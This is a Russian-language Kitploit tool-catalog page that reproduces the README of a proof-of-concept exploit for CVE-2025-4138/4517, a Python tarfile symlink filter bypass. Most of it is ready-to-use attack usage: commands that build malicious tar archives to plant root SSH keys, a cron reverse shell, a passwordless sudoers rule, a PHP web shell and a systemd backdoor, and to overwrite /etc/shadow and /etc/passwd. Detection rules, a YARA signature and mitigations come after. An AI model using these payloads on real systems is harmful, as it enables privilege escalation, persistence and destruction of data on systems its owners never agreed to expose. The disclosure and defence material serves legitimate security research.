Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-4138-4517-POC — CVE-2025-4138 / CVE-2025-4517 — Python tarfile PATH_MAX Symlink Filter Bypass | Kitploit
Инструменты/GitHubGitHub/desertdemons/cve-2025-4138-4517-poc
Повышение привилегийГенерация полезной нагрузкиАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubdesertdemons/cve-2025-4138-4517-poc

CVE-2025-4138-4517-POC

CVE-2025-4138 / CVE-2025-4517 — Python tarfile PATH_MAX Symlink Filter Bypass

Репозиторий
1722 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-4138 CVE-2025-4517 CVSS 9.4 Критический Python затронут

CVE-2025-4138 / CVE-2025-4517
Обход фильтра tarfile в Python через символьную ссылку PATH_MAX

Произвольная запись файлов при извлечении с filter="data" / filter="tar"

Тип CWE-22 Обход пути Платформа Язык Лицензия Звёзды Форки Последний коммит


Содержание

  • Обзор
  • Детали уязвимости
  • Как это работает
  • Затронутые версии
  • Затронутый шаблон кода
  • Установка
  • Использование
    • Быстрый старт — внедрение SSH-ключа
    • Предустановленные атаки
    • Пользовательская цель
  • Доказательство концепции — безопасная проверка
  • Технические детали
    • PATH_MAX и os.path.realpath()
    • Построение цепочки символьных ссылок
    • Механизм обхода фильтра
    • Этапы эксплуатации
  • Сценарии реальных атак
  • Обнаружение
  • Смягчение
  • Связанные CVE
  • Хронология
  • Ссылки
  • Авторы
  • Отказ от ответственности
  • Лицензия

Обзор

Критическая уязвимость в модуле tarfile Python позволяет злоумышленнику обойти фильтры извлечения ("data" и "tar") и записать произвольные файлы за пределами целевой директории извлечения. Когда привилегированный процесс (например, скрипт резервного копирования с правами root, конвейер CI/CD или установщик пакетов) извлекает подконтрольный злоумышленнику tar-архив с использованием якобы безопасного параметра filter="data", данная эксплуатация достигает полной произвольной записи файлов от имени этого привилегированного пользователя — как правило, с повышением до root.

Основная причина — поведенческая особенность os.path.realpath(): она молча прекращает разрешение символьных ссылок, как только полностью развёрнутый путь превышает PATH_MAX (4096 байт в Linux, 1024 в macOS). Фильтр tarfile полагается на realpath() для проверок безопасности, но ядро независимо разрешает символьные ссылки во время извлечения — создавая разрыв TOCTOU (Time-of-Check-to-Time-of-Use), который позволяет выйти за пределы директории.


Детали уязвимости


Как это работает```

root@kitploit:~
                ┌───────────────────────────────────────────┐
                │         Malicious Tar Structure            │
                └───────────────────────────────────────────┘

Stage 1 ── Build symlink chain that inflates the resolved path past PATH_MAX

root@kitploit:~
ddd...ddd/              (directory, 247 chars)
a  →  ddd...ddd         (symlink,   1 char name → 247 char dir)
ddd...ddd/ddd...ddd/    (nested directory)
b  →  ddd...ddd         (symlink)
...  ×16 levels

Short path (symlinks):   a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p       ~31 chars
Resolved path (dirs):    ddd…/ddd…/ddd…/ddd…/ddd…/ddd…/…      ~3968 chars
                                                           ↑ nearing PATH_MAX

Stage 2 ── Final symlink exceeds PATH_MAX → realpath() stops resolving

root@kitploit:~
a/b/c/…/p/lll…lll  →  ../../../../../../../../../../../../../../../../..
                        (16 levels of ".." — traverses back to extraction root)

┌─────────────────────────────────────────────────────────────────┐
│  os.path.realpath()  CANNOT expand this  →  filter says "OK" ✓ │
│  Linux kernel         DOES follow chain  →  actually escapes ✗ │
└─────────────────────────────────────────────────────────────────┘

Stage 3 ── Escape symlink resolves to arbitrary filesystem path

root@kitploit:~
escape  →  <overflow_link>/../../../../../../../root

Stage 4 ── Create intermediate directories through the escape

root@kitploit:~
escape/.ssh/            (directory, mode 0700 — created by tar extraction)

Stage 5 ── Write payload through the escaped symlink

root@kitploit:~
escape/.ssh/authorized_keys  →  writes to /root/.ssh/authorized_keys  🔓
root@kitploit:~
---

## Затронутые версии

| Ветка Python | Уязвимый диапазон | Исправленная версия | Статус |
|:--|:--|:--|:--|
| 3.13 | 3.13.0 – 3.13.3 | **3.13.4** | ✅ Исправлено |
| 3.12 | 3.12.0 – 3.12.10 | **3.12.11** | ✅ Исправлено |
| 3.11 | 3.11.4 – 3.11.12 | **3.11.13** | ✅ Исправлено |
| 3.10 | 3.10.12 – 3.10.17 | **3.10.18** | ✅ Исправлено |
| 3.9 | 3.9.17 – 3.9.22 | **3.9.23** | ✅ Исправлено |
| 3.8 | 3.8.17 – 3.8.20 | — | ❌ Снята с поддержки |
| 3.14+ | Фильтр по умолчанию изменён на `"data"` | Проверьте последнюю версию | ⚠️ Более высокая подверженность |

> **Примечание:** Начиная с Python 3.14+ параметр `filter` по умолчанию был изменён с отсутствия фильтрации на `"data"`, что означает, что приложения, которые ранее не имели фильтра (и, следовательно, уже были небезопасны), теперь по умолчанию используют уязвимый фильтр.

---

## Подверженный шаблон кода

Любое приложение, выполняющее это на уязвимой версии Python, эксплуатируемо:```python
import tarfile

# VULNERABLE — filter="data" can be bypassed
with tarfile.open("untrusted_archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="data")

# ALSO VULNERABLE — filter="tar" has the same flaw
with tarfile.open("untrusted_archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="tar")

Распространенные случаи из реальной практики:

  • Скрипты резервного копирования/восстановления, запускаемые от root
  • Конвейеры CI/CD, извлекающие артефакты сборки
  • Менеджеры пакетов и установщики, обрабатывающие дистрибутивы .tar
  • Веб-приложения, принимающие архивы, загруженные пользователем
  • Инструменты управления конфигурацией, извлекающие пакеты развертывания

Установка```bash

git clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git cd CVE-2025-4138-4517-POC

No dependencies — uses only Python standard library

python3 exploit.py --help

root@kitploit:~
**Требования:** Python 3.6+ (для создания архива — **цель** должна запускать уязвимую версию)

---

## Использование

### Быстрый старт — SSH Key Injection```bash
# 1. Generate an SSH key pair (REQUIRED — must exist before creating tar)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub   # verify key was created

# 2. Create the malicious tar archive
python3 exploit.py \
    --preset ssh-key \
    --payload ~/.ssh/id_ed25519.pub \
    --tar-out ./evil.tar

# 3. Deliver the tar and trigger privileged extraction
#    (method varies — backup script, upload endpoint, CI pipeline, etc.)
#    Example: sudo python3 vulnerable_app.py --extract evil.tar

# 4. SSH in as root (use the SAME key you generated in step 1)
ssh -i ~/.ssh/id_ed25519 root@target

Важно: Эксплойт автоматически создает промежуточные каталоги (например, /root/.ssh/) внутри tar-архива. Если целевой каталог не существует в файловой системе, extractall() создаст его во время извлечения.

Предустановленные атаки

Reverse shell via cron (every minute)

python3 exploit.py --preset cron --extra 10.0.0.5 --tar-out evil.tar

Passwordless sudo for user "john"

python3 exploit.py --preset sudoers --extra john --tar-out evil.tar

SSH key with custom file mode

python3 exploit.py --preset ssh-key --payload ~/.ssh/id_rsa.pub
--mode 0600 --tar-out evil.tar

root@kitploit:~
### Пользовательская цель

Запись любого содержимого по любому абсолютному пути в файловой системе цели:```bash
# Overwrite MOTD
python3 exploit.py \
    --target /etc/motd \
    --payload "Authorized access only." \
    --mode 0644 \
    --tar-out evil.tar

# Plant a web shell
python3 exploit.py \
    --target /var/www/html/shell.php \
    --payload '<?php system($_GET["cmd"]); ?>' \
    --mode 0644 \
    --tar-out evil.tar

# Overwrite a systemd service for persistence
python3 exploit.py \
    --target /etc/systemd/system/backdoor.service \
    --payload backdoor.service \
    --mode 0644 \
    --tar-out evil.tar

Доказательство концепции — Безопасная проверка

Проверьте, уязвима ли система, не затрагивая конфиденциальные файлы:```bash

1. Create isolated test environment

mkdir -p /tmp/cve_test/flag /tmp/cve_test/extract echo "original_content" > /tmp/cve_test/flag/testfile

2. Generate PoC tar targeting the test file

python3 exploit.py
--target /tmp/cve_test/flag/testfile
--payload "OVERWRITTEN_BY_CVE-2025-4138"
--tar-out /tmp/cve_test/poc.tar

3. Extract with filter="data" (simulating a vulnerable application)

python3 -c " import tarfile tarfile.open('/tmp/cve_test/poc.tar', 'r').extractall( '/tmp/cve_test/extract', filter='data' ) "

4. Check result

cat /tmp/cve_test/flag/testfile

Vulnerable: "OVERWRITTEN_BY_CVE-2025-4138"

Patched: "original_content" (extraction raises error)

5. Cleanup

rm -rf /tmp/cve_test

root@kitploit:~
### Быстрая проверка версии```bash
python3 -c "
import sys
v = sys.version_info
vuln = (
    (v.minor == 12 and v.micro <= 10) or
    (v.minor == 13 and v.micro <= 3) or
    (v.minor == 11 and 4 <= v.micro <= 12) or
    (v.minor == 10 and 12 <= v.micro <= 17) or
    (v.minor == 9 and 17 <= v.micro <= 22)
)
status = '❌ VULNERABLE' if vuln else '✅ Patched/Not affected'
print(f'Python {sys.version} — {status}')
"

Техническое погружение

PATH_MAX и os.path.realpath()

В Linux PATH_MAX определён как 4096 байт. В macOS — 1024 байта. Когда os.path.realpath() разрешает путь покомпонентно и накопленный разрешённый путь превышает этот лимит, он молча прекращает разрешение оставшихся компонентов и добавляет их как буквальные строки.``` os.path.realpath() behavior:

Input: /extract/a/b/c/.../p/llll.../../../../../root/.ssh │ ├── resolved portion: /extract/ddd.../ddd.../... (3968+ bytes) └── unresolved tail: /../../../../root/.ssh ↑ appended literally!

Output: /extract/ddd.../ddd.../ddd.../../../../../root/.ssh │ │ └── Starts with /extract/ → filter says "OK" ✓ │ └── But the ../ is real!

root@kitploit:~
Это **документированное** поведение функции `realpath()`, но реализация фильтра tarfile не учитывала его.

### Построение цепочки симлинков

Каждый уровень цепочки состоит из:

| Запись | Тип | Длина имени | Назначение |
|:--|:--|:--|:--|
| Каталог | `DIRTYPE` | 247 символов (Linux) / 55 символов (macOS) | Длинное имя увеличивает разрешенный путь |
| Симлинк | `SYMTYPE` | 1 символ (`a`, `b`, …, `p`) | Короткий псевдоним для длинного каталога |

После 16 уровней:

| Метрика | Значение |
|:--|:--|
| **Короткий путь** (через симлинки) | `a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p` ≈ 31 символа |
| **Разрешенный путь** (через каталоги) | `ddd…/ddd…/ddd…/…` ≈ **3968 символов** |
| **PATH_MAX** | 4096 байт |
| **Оставшийся бюджет** | ~128 байт — недостаточно для полезной нагрузки обхода |

### Механизм обхода фильтра

Фильтр `data_filter` в модуле tarfile Python выполняет эту проверку:```python
# Simplified from Lib/tarfile.py
def _check_linkname(member, dest_path):
    target = os.path.realpath(os.path.join(dest_path, member.linkname))
    if not target.startswith(dest_path):
        raise FilterError("link would escape destination")

The vulnerability:

  1. realpath() получает: /extract/a/b/c/.../p/lll.../../../../../root/.ssh
  2. realpath() разрешает часть a/b/c/.../p через цепочку символических ссылок → 3968+ байт
  3. Превышение PATH_MAX → оставшаяся часть ../../../../root/.ssh добавляется буквально
  4. Результат: /extract/ddd…(3968 символов)…/../../../../root/.ssh
  5. Проверка фильтра: начинается с /extract/ → проходит ✓
  6. Извлечение ядром: следует фактическим симлинкам → разрешает ../ обычным образом → выходит в /root
  7. Создание каталога: escape/.ssh извлекается как каталог → создается /root/.ssh/ (режим 0700)

Этапы эксплуатации```

┌────────────────────────────────────────────────────────────────────────┐ │ EXPLOIT PIPELINE │ ├────────────────────────────────────────────────────────────────────────┤ │ │ │ Stage 1: PATH_MAX Inflation │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │ │ dir(247) │──▶│ sym a→d │──▶ ... │ sym p→d │ ×16 levels │ │ └─────────┘ └─────────┘ └─────────┘ │ │ Resolved path accumulates to ~3968 bytes │ │ │ │ Stage 2: Pivot Symlink (exceeds PATH_MAX) │ │ ┌──────────────────────────────────────────┐ │ │ │ a/b/c/.../p/lll...lll → ../../... (×16) │ │ │ └──────────────────────────────────────────┘ │ │ realpath() cannot resolve → filter is blind │ │ │ │ Stage 3: Escape Symlink │ │ ┌──────────────────────────────────────────┐ │ │ │ escape → /../../../../<target_root>│ │ │ └──────────────────────────────────────────┘ │ │ Points to the target's top-level parent (e.g. /root) │ │ │ │ Stage 4: Create Intermediate Directories │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh (DIRTYPE, mode 0700) │ │ │ └──────────────────────────────────────────┘ │ │ Ensures parent dirs exist (e.g. /root/.ssh) — critical │ │ for targets where the parent directory may not exist │ │ │ │ Stage 5: Payload Write │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh/authorized_keys = payload │ │ │ └──────────────────────────────────────────┘ │ │ File is written through the escaped symlink as the │ │ process owner (typically root) │ │ │ └────────────────────────────────────────────────────────────────────────┘

root@kitploit:~
---

## Сценарии атак в реальном мире

### 1. Восстановление резервных копий с привилегиями

Скрипт резервного копирования, запущенный от root, извлекает предоставленные пользователем tar-архивы:```python
# /usr/local/bin/restore_backup.py (runs via sudo)
tar.extractall(path="/var/backups/restored", filter="data")

Воздействие: Злоумышленник предоставляет вредоносную резервную копию → записывает SSH-ключ в /root/.ssh/authorized_keys → получает root-оболочку.

2. Извлечение артефактов конвейера CI/CD

Система сборки извлекает артефакты из ненадёжных источников:```python

Jenkins/GitLab runner extracting build output

tar.extractall(path=workspace_dir, filter="data")

root@kitploit:~
**Воздействие:** Вредоносный артефакт покидает рабочее пространство → перезаписывает конфигурацию CI → достигает выполнения кода на инфраструктуре сборки.

### 3. Обработка загрузки веб-приложения

Веб-приложение принимает и извлекает загруженные tar-файлы:```python
# Flask/Django file processing endpoint
tar.extractall(path=upload_dir, filter="data")

Воздействие: Удаленный злоумышленник загружает подготовленный tar → записывает веб-шелл в корень документа → достигает RCE.

4. Установка пакетов

Диспетчеры пакетов Python при извлечении исходных дистрибутивов:```python

pip/setuptools extracting sdist

tar.extractall(path=build_dir, filter="data")

root@kitploit:~
Воздействие: Вредоносный пакет PyPI покидает каталог сборки → изменяет системные файлы.

---

## Обнаружение

### Индикаторы компрометации

Следите за следующими паттернами, которые могут указывать на эксплуатацию:```bash
# Check for deeply nested symlink chains in extracted directories
find /path/to/extractions -maxdepth 20 -type l | \
    xargs -I{} readlink {} | grep -c "^d\{200,\}"

# Audit tar extraction operations in application logs
grep -r "extractall\|filter=\"data\"\|filter=\"tar\"" /var/log/

# Monitor for unexpected file writes in sensitive directories
auditctl -w /root/.ssh/ -p wa -k tarfile_escape
auditctl -w /etc/cron.d/ -p wa -k tarfile_escape
auditctl -w /etc/sudoers.d/ -p wa -k tarfile_escape

YARA Правило```yara

rule CVE_2025_4138_Malicious_Tar { meta: description = "Detects tar archives crafted for CVE-2025-4138 PATH_MAX bypass" cve = "CVE-2025-4138" severity = "critical" strings: $long_dir = /d{240,250}// ascii $chain = /[a-p]/[a-p]/[a-p]/[a-p]/ ascii $pad = /l{250,}/ ascii $traversal = "../../../" ascii condition: uint16(0) == 0x0000 and $long_dir and $chain and ($pad or #traversal > 8) }

root@kitploit:~
---

## Смягчение

### 1. Обновление Python (рекомендуется)```bash
# Check current version
python3 -c "import sys; print(sys.version)"

# Upgrade to patched version:
#   3.9.23+  |  3.10.18+  |  3.11.13+  |  3.12.11+  |  3.13.4+

2. Pre-Extraction Validation (Workaround)

Если немедленное обновление невозможно:```python import pathlib import tarfile

def safe_extract(tar_path: str, dest: str) -> None: """Extract tar archive with CVE-2025-4138 mitigation.""" with tarfile.open(tar_path, "r") as tar: for member in tar.getmembers(): # Block symlinks with traversal in link targets if member.linkname: parts = pathlib.PurePosixPath(member.linkname).parts if ".." in parts: raise ValueError( f"Blocked: '{member.name}' has traversal " f"in linkname: '{member.linkname}'" ) # Block absolute symlink targets if member.issym() and member.linkname.startswith("/"): raise ValueError( f"Blocked: '{member.name}' has absolute " f"symlink target: '{member.linkname}'" ) # Re-open to reset iterator tar.extractall(path=dest, filter="data")

root@kitploit:~
### 3. Изолированное извлечение```bash
# Extract in a minimal container or namespace
unshare --mount --map-root-user -- sh -c '
    mount -t tmpfs tmpfs /mnt
    python3 -c "
import tarfile
tarfile.open(\"archive.tar\", \"r\").extractall(\"/mnt/extract\", filter=\"data\")
    "
'

4. Альтернативные инструменты извлечения```bash

Use GNU tar instead of Python tarfile

tar --no-same-permissions --no-same-owner -xf archive.tar -C /dest/

root@kitploit:~
---

## Связанные CVE

| CVE | Описание | Серьёзность |
|:--|:--|:--|
| **CVE-2025-4138** | Обход фильтра цели симлинка через переполнение PATH_MAX | Критическая |
| **CVE-2025-4517** | Произвольная запись файлов через переполнение realpath (та же первопричина) | Критическая |
| **CVE-2025-4330** | Обход пути симлинка, обходящий фильтры извлечения | Высокая |
| **CVE-2024-12718** | Изменение метаданных файлов за пределами каталога извлечения | Высокая |
| **CVE-2025-4435** | Отфильтрованные файлы всё равно извлекаются при `errorlevel=0` | Средняя |
| **CVE-2007-4559** | Обход пути оригинального tarfile (эпоха без фильтров) | Высокая |

Все были устранены в [CPython Issue #135034](https://github.com/python/cpython/issues/135034) и [PR #135037](https://github.com/python/cpython/pull/135037).

---

## Хронология

| Дата | Событие |
|:--|:--|
| 2025-04-30 | Уязвимость сообщена в Python Security Response Team |
| 2025-06-02 | Открыт публичный issue — [CPython #135034](https://github.com/python/cpython/issues/135034) |
| 2025-06-03 | Исправление объединено — [CPython PR #135037](https://github.com/python/cpython/pull/135037) |
| 2025-06-03 | Опубликовано [PSF Security Announcement](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) |
| 2025-06-03 | Исправленные релизы: Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| 2025-06-04 | Уведомление CERT-FR [CERTFR-2025-AVI-0475](https://www.cert.ssi.gouv.fr/) |
| 2025-06-20 | Уведомление Google Security Research [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) |
| 2025-07-20 | Полное раскрытие |

---

## Ссылки

- [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) — Уведомление Google Security Research и оригинальный PoC
- [CPython Issue #135034](https://github.com/python/cpython/issues/135034) — Отчёт об ошибке от разработчиков
- [CPython PR #135037](https://github.com/python/cpython/pull/135037) — Фикс-коммит
- [PSF Security Announcement](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) — Официальное уведомление
- [Seth Larson's Mitigation Gist](https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f) — Скрипт быстрого смягчения
- [NVD — CVE-2025-4138](https://nvd.nist.gov/vuln/detail/CVE-2025-4138)
- [NVD — CVE-2025-4517](https://nvd.nist.gov/vuln/detail/CVE-2025-4517)
- [Документация фильтров извлечения `tarfile` в Python](https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter)
- [Справочная страница Linux `realpath(3)`](https://man7.org/linux/man-pages/man3/realpath.3.html) — поведение PATH_MAX

---

## Авторы

- **Обнаружение уязвимости:** [Caleb Brown](https://github.com/calebbrown) — Google Security Research
- **Авторы исправления:** Łukasz Langa, Petr Viktorin, Seth Michael Larson, Serhiy Storchaka
- **Данный PoC:** [DesertDemon](https://github.com/DesertDemons)

---

## Отказ от ответственности

> **⚠️ Этот инструмент предоставляется строго для авторизованного тестирования безопасности, исследований и образовательных целей.**
>
> Несанкционированный доступ к компьютерным системам является незаконным в соответствии с Законом о компьютерном мошенничестве и злоупотреблениях (CFAA), Законом о компьютерных злоупотреблениях и аналогичным законодательством по всему миру. Всегда получайте явное письменное разрешение перед тестированием любой системы, которая вам не принадлежит.
>
> Автор не несёт ответственности за неправомерное использование данного программного обеспечения. Используя этот инструмент, вы соглашаетесь, что несёте единоличную ответственность за свои действия и будете соблюдать все применимые законы.

---

**Теги:** `cve-2025-4138` `cve-2025-4517` `python` `tarfile` `path-traversal` `symlink` `privilege-escalation` `arbitrary-file-write` `toctou` `cwe-22` `linux` `macos`

## Лицензия

Этот проект лицензирован в соответствии с [лицензией MIT](https://github.com/desertdemons/cve-2025-4138-4517-poc/blob/HEAD/LICENSE).

---

<p align="center">
  <sub>
    🔐 Если вы считаете это полезным, поставьте звёздочку репозиторию<br>
    📫 Для запросов об ответственном раскрытии откройте issue или свяжитесь через GitHub
  </sub>
</p>
Скачать инструмент
ПолеЗначение
Идентификаторы CVECVE-2025-4138, CVE-2025-4517
CVSS v3.19.4 (Критический) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
CWECWE-22 — Некорректное ограничение пути к ограниченной директории
Тип уязвимостиОбход пути через символьные ссылки / обход фильтра
ВлияниеПроизвольная запись файлов → повышение привилегий, побег из песочницы, подмена данных
Вектор атакиДоставка вредоносного tar-архива в любое приложение, использующее tarfile.extractall() с фильтрами
Затронутые версииPython 3.12.0 – 3.12.10, 3.13.0 – 3.13.3
Исправлено вPython 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4
ПатчCPython PR #135037
УведомлениеGHSA-hgqp-3mmf-7h8f
СообщившийCaleb Brown — Google Security Research
ПредустановкаЦелевой файлОписаниеПараметр --extra
ssh-key/root/.ssh/authorized_keysВнедрить открытый ключ SSH для входа root—
cron/etc/cron.d/pwnedУстановить задачу cron с обратной оболочкой rootIP-адрес LHOST
sudoers/etc/sudoers.d/pwnedДобавить правило sudo NOPASSWD для пользователяИмя пользователя
shadow/etc/shadowПерезаписать файл shadow (⚠️ разрушительно)—
passwd/etc/passwdПерезаписать файл passwd (⚠️ разрушительно)—
  • Запись полезной нагрузки: escape/.ssh/authorized_keys → записывает в /root/.ssh/authorized_keys